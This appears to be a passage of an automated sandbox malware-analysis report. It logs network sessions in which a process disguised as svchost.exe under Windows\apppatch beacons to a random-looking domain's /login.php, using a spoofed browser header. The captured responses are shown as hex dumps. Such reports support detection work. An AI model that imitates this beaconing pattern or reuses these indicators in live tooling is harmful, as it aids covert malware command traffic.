                                                                                                                                                                                                          2024-11-11 17:13:25 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                          Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                          Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                          Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                          Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                          Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                          Data Ascii:
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                          Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                          Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          6192.168.2.663303188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC957INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:26 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QvpImHCud93VN07eo%2Fg3C8Y2bLsLwbz3ajSz%2Fq9w%2FonNmY%2FQub5UF5wBsmhxE6qFFnGlBrgjo3%2BCkDEHS8ibuMfO%2FbzvSUvG%2BGSWzfpYELI7zQ8I9GcvTygCGjj%2BrA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9b118750f3d-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1204&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2569653&cwnd=247&unsent_bytes=0&cid=7bcaf66820f6c30d&ts=845&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC412INData Raw: 37 63 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7ca0<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d
                                                                                                                                                                                                          Data Ascii: }</style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><m
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65
                                                                                                                                                                                                          Data Ascii: e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65
                                                                                                                                                                                                          Data Ascii: ndefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 7c 7c 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69
                                                                                                                                                                                                          Data Ascii: ||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/mi
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 65 72 20 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65
                                                                                                                                                                                                          Data Ascii: er .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2re
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 61 6e 67 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e
                                                                                                                                                                                                          Data Ascii: ange]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20
                                                                                                                                                                                                          Data Ascii: ry-content .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 73 2d 76 69 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70
                                                                                                                                                                                                          Data Ascii: s-visible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,inp
                                                                                                                                                                                                          2024-11-11 17:13:26 UTC1369INData Raw: 2d 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c
                                                                                                                                                                                                          Data Ascii: -content .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--defaul


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          7192.168.2.663317188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:27 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
